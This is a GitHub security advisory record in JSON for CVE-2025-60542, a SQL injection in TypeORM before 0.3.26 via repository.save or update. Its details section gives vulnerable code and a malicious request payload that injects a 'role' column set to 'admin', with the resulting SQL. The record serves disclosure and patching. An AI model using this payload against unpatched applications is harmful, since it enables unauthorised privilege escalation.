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GHSA-q2pj-6v73-8rgj
GHSA-q2pj-6v73-8rgj

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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-q2pj-6v73-8rgj",
+  "modified": "2025-10-31T17:38:00Z",
+  "published": "2025-10-29T18:30:33Z",
+  "aliases": [
+    "CVE-2025-60542"
+  ],
+  "summary": "TypeORM vulnerable to SQL injection via crafted request to repository.save or repository.update",
+  "details": "### Summary\n\nSQL Injection vulnerability in TypeORM before 0.3.26 via crafted request to repository.save or repository.update due to the sqlstring call using stringifyObjects default to false.\n\n### Details\n\nVulnerable Code:\n\n```js\nconst { username, city, name} = req.body;\nconst updateData = {\n    username,\n    city,\n    name,\n    id:userId\n  }; // Developer aims to only allow above three fields to be updated    \nconst result = await userRepo.save(updateData);\n```\n\nIntended Payload (non-malicious):\n\n\n`\nusername=myusername&city=Riga&name=Javad\n`\n\n_OR_\n\n`{username:\\\"myusername\\\",phone:12345,name:\\\"Javad\\\"}\n`\n\nSQL query produced:\n\n```sql\nUPDATE `user` \nSET `username` = 'myusername', \n    `city` = 'Riga', \n    `name` = 'Javad' \nWHERE `id` IN (1);\n\n```\n\nMalicious Payload:\n\n`username=myusername&city[name]=Riga&city[role]=admin\n`\n\n_OR_\n\n`{username:\\\"myusername\\\",city:{name:\\\"Javad\\\",role:\\\"admin\\\"}}\n`\n\nSQL query produced with Injected Column:\n\n```sql\nUPDATE `user` \nSET `username` = 'myusername', \n    `city` = `name` = 'Javad', \n    `role` = 'admin' \nWHERE `id` IN (1);\n\n```\n_Above query is valid as `city` = `name` = `Javad` is a boolean expression resulting in `city` = 1 (false). “role” column is injected and updated._\n\nUnderlying issue was due to TypeORM using mysql2 [without specifying a value for the stringifyObjects option](https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts). In both mysql and mysql2 this [option defaults to false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124). This option is then passed into [SQLString library as false](https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524). This results in sqlstring [parsing objects in a strange way using objectToValues.](https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54)",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+    },
+    {
+      "type": "CVSS_V4",
+      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:H/SA:L/E:P"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "typeorm"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "0.3.26"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60542"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/typeorm/typeorm/pull/11574"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/typeorm/typeorm/commit/d57fe3bd8578b0b8f9847647fd046bccf825a7ef"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/mysqljs/sqlstring/blob/cd528556b4b6bcf300c3db515026935dedf7cfa1/lib/SqlString.js#L54"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/base/connection.js#L524"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/sidorares/node-mysql2/blob/e359f454a76ba5dc31b91adf7bdb4099ca317bb5/lib/connection_config.js#L124"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/typeorm/typeorm/blob/0.3.25/src/driver/mysql/MysqlConnectionOptions.ts"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/typeorm/typeorm/releases/tag/0.3.26"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/typeorm/typeorm/releases?q=security&expanded=true"
+    },
+    {
+      "type": "WEB",
+      "url": "https://medium.com/@alizada.cavad/cve-2025-60542-typeorm-mysql-sqli-0-3-25-a1b32bc60453"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "http://github.com/typeorm/typeorm"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-89"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2025-10-31T17:38:00Z",
+    "nvd_published_at": "2025-10-29T16:15:34Z"
+  }
+}